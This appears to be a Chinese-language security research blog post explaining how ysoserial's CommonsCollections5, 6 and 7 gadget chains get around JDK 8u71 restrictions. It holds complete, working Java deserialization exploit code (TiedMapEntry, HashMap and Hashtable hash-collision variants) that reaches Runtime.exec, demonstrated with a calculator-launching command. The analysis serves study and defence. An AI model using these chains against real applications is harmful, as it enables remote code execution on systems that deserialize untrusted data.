文章目录
前言
前文分析了CommonsCollections1 的原理,它受到了JDK版本的制约。本文来分析一下ysoserlial的CommonsCollections5/6/7 是如何解决这个问题的。
CommonsCollections5
前文分析提到,从JDK 8u71开始,由于AnnotationInvocationHandler#readObject()
代码的修改,导致CommonsCollections1的LazyMap#get()
无法被调用。那么想解决这个问题,就要找到其他会调用LazyMap#get()
的类。CommonsCollections5 用到一个类 org.apache.commons.collections.keyvalue.TiedMapEntry
,它是commons-collections 这个库中的类。
TiedMapEntry
TiedMapEntry
是Map
对象的一个封装类,可对Map
对象的操作进行控制。
在这个类里,在成员方法TiedMapEntry#getValue()
中调用了内部Map
对象的get()
方法。而成员方法TiedMapEntry#equals()
、TiedMapEntry#hashCode()
和TiedMapEntry#toString()
都调用了TiedMapEntry#getValue()
。
在ysoserial CommonsCollections5中,作者使用了 BadAttributeValueExpException
类,这个类的readObject()
方法会调用其成员变量val
的toString()
方法。那么我们只要把TiedMapEntry
对象赋值给val
即可。
PoC
public static void main(String[] args) {
try {
Transformer[] transformers = new Transformer[]{
//Runtime类没有实现 java.io.Serializable 接口,
// 所以不能被序列化,所以得换以下这种方式
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"}
),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "foo");
BadAttributeValueExpException badAttrValExpException = new BadAttributeValueExpException(null);
Field val = badAttrValExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttrValExpException, tiedMapEntry);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(badAttrValExpException);
System.out.println(baos.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = ois.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
gadget chain
BadAttributeValueExpException#readObject()
TiedMapEntry#toString()
TiedMapEntry#getValue()
LazyMap#get()
ChainedTransformer#transform()
ConstantTransformer#transform()
InvokerTransformer#transform()
Method#invoke() -> Class.getMethod()
InvokerTransformer#transform()
Method#invoke() -> Runtime.getRuntime()
InvokerTransformer#transform()
Method#invoke() -> Runtime.exec()
问题1
为什么TiedMapEntry
不通过BadAttributeValueExpException
的构造方法传入,而非得通过反射去赋值呢?
答:
因为BadAttributeValueExpException
的构造方法,如果传入的不是null
而是TiedMapEntry
对象,则会立刻调用TiedMapEntry#toString()
并将返回值赋值给val
。这样的话,在序列化数据生成的过程中就会触发我们构造好的命令执行代码。因此这是原作者为了避免此情况作的优化。
CommonsCollections6
前面提到,在TiedMapEntry
中,成员方法TiedMapEntry#equals()
、TiedMapEntry#hashCode()
和TiedMapEntry#toString()
都调用了TiedMapEntry#getValue()
。
CommonsCollections5 选择使用TiedMapEntry#toString()
,而CommonsCollections6 选择了使用TiedMapEntry#hashCode()
。
剩下的就是寻找反序列化readObject()
时能调用到TiedMapEntry#hashCode()
方法的类。
这里笔者不打算完全照搬ysoserial 里的实现,因为它略复杂了点,感觉在不影响理解原有利用链的基础上,可以精简一下。
提到hashCode()
方法,上一篇文章分析URLDNS gadget的时候就有看到过。HashMap
在put(key,value)
操作的时候,是会调用key
对象的hashCode()
方法的。而且在HashMap#readObject()
方法中会通过put操作来还原自身。
PoC
public static void main(String[] args) {
try {
Transformer[] transformers = new Transformer[]{
//Runtime类没有实现 java.io.Serializable 接口,
// 所以不能被序列化,所以得换以下这种方式
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"}
),
};
Transformer[] tmpTransformers = new Transformer[] {
new ConstantTransformer(1),
};
//这里先构造一个无意义的执行链,因为下面构造序列化数据时,HashMap要进行put操作,
// 所以这是为了避免生成序列化数据的过程中触发命令执行的代码。
//在下面put操作后通过反射再将含有命令执行的执行链构造好即可。
Transformer transformerChain = new ChainedTransformer(tmpTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "foo1");
Map finalMap = new HashMap();
finalMap.put(tiedMapEntry, "foo2");
outerMap.remove("foo1");
Field iTransformersField = transformerChain.getClass().getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(transformerChain, transformers);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(finalMap);
System.out.println(baos.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = ois.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
问题1
上面的代码中,为什么要执行outerMap.remove("foo1");
答:
假设不加这一句代码。会发生什么呢?结果是我们构造的命令执行的Transformer执行链没有被执行。
原因在HashMap#put()
方法。把上面的其中三行代码抽出来解释:
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "foo1");
Map finalMap = new HashMap();
finalMap.put(tiedMapEntry, "foo2");
当HashMap#put()
方法被执行,后续会执行LazyMap#get(Object key)
方法,此时的key
的值是字符串foo1
,由于在前面的innerMap
集合中我们没有往里面放置任何值,所以innerMap
会将foo1
作为key
放置到自身集合中:
因此,在后面反序列化的过程中,当LazyMap#get("foo1")
时,就不会进入这个if
分支,所以我们构造的Transformer执行链就不会执行了。
因此为了解决这个问题,我们必须得在构造序列化数据的时候,执行innerMap#remove("foo1")
或 outerMap#remove("foo1");
。
gadget chain
HashMap#readObject()
HashMap#hash()
TiedMapEntry#hashCode()
TiedMapEntry#getValue()
LazyMap#get()
ChainedTransformer#transform()
ConstantTransformer#transform()
InvokerTransformer#transform()
Method#invoke() -> Class.getMethod()
InvokerTransformer#transform()
Method#invoke() -> Runtime.getRuntime()
InvokerTransformer#transform()
Method#invoke() -> Runtime.exec()
ysoserial的CommonsCollections6 gadget可能因为考虑得比较周全的,所以显得略复杂,还多用了HashSet类。不过这里简化过的代码,反序列化也可以成功执行命令,而且不影响理解它的本质原理。
CommonsCollections7
与CommonsCollections5、CommonsCollections6类似,CommonsCollections7也是去找什么类可以调LazyMap#get()
,其实LazyMap#equals()
方法就调用了LazyMap#get()
。一般而言,equals()
方法用于比较两个对象是否相等。剩下的就是找一个类,它在反序列化过程中,可以自动触发两个LazyMap
对象的比较。
按照这个思路,CC7选择使用Hashtable
。Hashtable
类其实和HashMap
差不多,调用put()
方法时,存放的位置是由key的hash决定的,如果key的hash与已经存在的某个key的hash一样,则会调用key的equals()
方法进行比较。
那么如果这两个key的类型是LazyMap
,则可以触发了两个LazyMap
对象的比较:lazymap1.equals(lazymap2)
。
而在Hashtable
的反序列化readObject()
的过程中,会调用reconstitutionPut()
方法对自身集合的数据进行重新构建,其实就是将反序列化得到的数值或对象进行put()
操作。换言之Hashtable
的反序列化操作会触发lazymap1.equals(lazymap2)
。
问题1: 关于HashMap/Hashtable中的hash冲突
有了构造利用链的思路后,剩下就是如何构造有hash冲突的key。所谓hash冲突,就是put()
进去的key,与已存在的某个key的hash是一样的情况。
也许你会说,这个简单,put()
两个完全一样的key不就好了?实际上,这样会导致Transformer的执行链ChainedTransformer不被执行,原因见LazyMap#get()
。
也就是说,我们得构造key不能一样,但其hash值是一样的才行。
计算hash值的方法是hashCode()
。LazyMap#hashCode()
,它会调用内层Map对象的hashCode()
方法。我们假设内层Map是一个HashMap
类型,看一下HashMap#hashCode()
。
可以看到HashMap
的hash值是它的键值对的hash进行异或,然后再累加起来。
这里只关注key的hash值计算即可,value我们可以设置为一模一样的就好,比如简单的Integer类型,其hash值就是其int数值。 在ysoserial中,key取了String类型,且长度为2。我们来看看String的hashCode()
方法。从String#hashCode()
的注释可以了解到,其算法是:s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1]
,其代码实现如下:
假设第一个put()
的key为"aa"
,而字符a
的ASCII值是97,则字符串"aa"
的hash值计算如下:
loop1:h = 31 * 0 + 97 = 97
loop2:h = 31 * 97 + 97 = 32 * 97 = 3104
hash = h = 3104 ==> 字符串"aa"的hash值
可以看到上面的算式中32
作为乘法因子,我们便可以利用大小写字母之间的差值为32
来构造与"aa"
的hash相同的简单字符串"bB"
:
loop1:h = 31 * 0 + 98 = 98
loop2:h = 31 * 98 + (98 - 32) = 32 * 98 - 32 = 32 * 97 = 3104
hash = h = 3104 ==> 字符串"bB"的hash值
解决了构造hash冲突的问题,就可以构造PoC了。
PoC - 使用Hashtable
public static void main(String[] args) {
try {
Transformer[] transformers = new Transformer[]{
//Runtime类没有实现 java.io.Serializable 接口,
// 所以不能被序列化,所以得换以下这种方式
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"}
),
};
Transformer[] tmpTransformers = new Transformer[] {
new ConstantTransformer(1),
};
//这里先构造一个无意义的执行链,因为下面构造序列化数据时,HashMap要进行put操作,
// 所以这是为了避免生成序列化数据的过程中触发命令执行的代码。
//在下面put操作后通过反射再将含有命令执行的执行链构造好即可。
Transformer transformerChain = new ChainedTransformer(tmpTransformers);
Map innerMap1 = new HashMap();
Map outerMap1 = LazyMap.decorate(innerMap1, transformerChain);
Map innerMap2 = new HashMap();
Map outerMap2 = LazyMap.decorate(innerMap2, transformerChain);
//构造可导致hash冲突两个Map对象
outerMap1.put("aa", 11);
outerMap2.put("bB", 11);
Hashtable hashtable = new Hashtable();
hashtable.put(outerMap1, 3);
hashtable.put(outerMap2, 3);
outerMap2.remove("aa");
Field iTransformersField = transformerChain.getClass().getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(transformerChain, transformers);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashtable);
System.out.println(baos.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = ois.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
gadget chain
Hashtable#readObject()
Hashtable#reconstitutionPut()
AbstractMapDecorator#equals()
AbstractMap#equals()
LazyMap#get()
ChainedTransformer#transform()
ConstantTransformer#transform()
InvokerTransformer#transform()
Method#invoke() -> Class.getMethod()
InvokerTransformer#transform()
Method#invoke() -> Runtime.getRuntime()
InvokerTransformer#transform()
Method#invoke() -> Runtime.exec()
问题2
上面的代码中,为什么要执行outerMap2.remove("aa");
答:
原因跟前面的CC6 问题1类似,也是由于LazyMap#get()
方法引起的,结果就是导致反序列化时不会导致hash冲突而触发LazyMap#equals()
方法。解决方法就是remove掉多余的key。
问题3:可否将Hashtable换成HashMap?
答:
用HashMap替换Hashtable是可以的。这两个类一般情况下是可替换来用的,区别主要在于线程安全和性能方面而已。
但要移除的多余的key可能得改一下。
PoC - 使用HashMap替换Hashtable
public static void main(String[] args) {
try {
Transformer[] transformers = new Transformer[]{
//Runtime类没有实现 java.io.Serializable 接口,
// 所以不能被序列化,所以得换以下这种方式
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"}
),
};
Transformer[] tmpTransformers = new Transformer[] {
new ConstantTransformer(1),
};
//这里先构造一个无意义的执行链,因为下面构造序列化数据时,HashMap要进行put操作,
// 所以这是为了避免生成序列化数据的过程中触发命令执行的代码。
//在下面put操作后通过反射再将含有命令执行的执行链构造好即可。
Transformer transformerChain = new ChainedTransformer(tmpTransformers);
Map innerMap1 = new HashMap();
Map outerMap1 = LazyMap.decorate(innerMap1, transformerChain);
Map innerMap2 = new HashMap();
Map outerMap2 = LazyMap.decorate(innerMap2, transformerChain);
//构造可导致hash冲突两个Map对象
outerMap1.put("aa", 11);
outerMap2.put("bB", 11);
HashMap hashtable = new HashMap();
hashtable.put(outerMap1, 3);
hashtable.put(outerMap2, 3);
outerMap1.remove("bB");
Field iTransformersField = transformerChain.getClass().getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(transformerChain, transformers);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashtable);
System.out.println(baos.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = ois.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}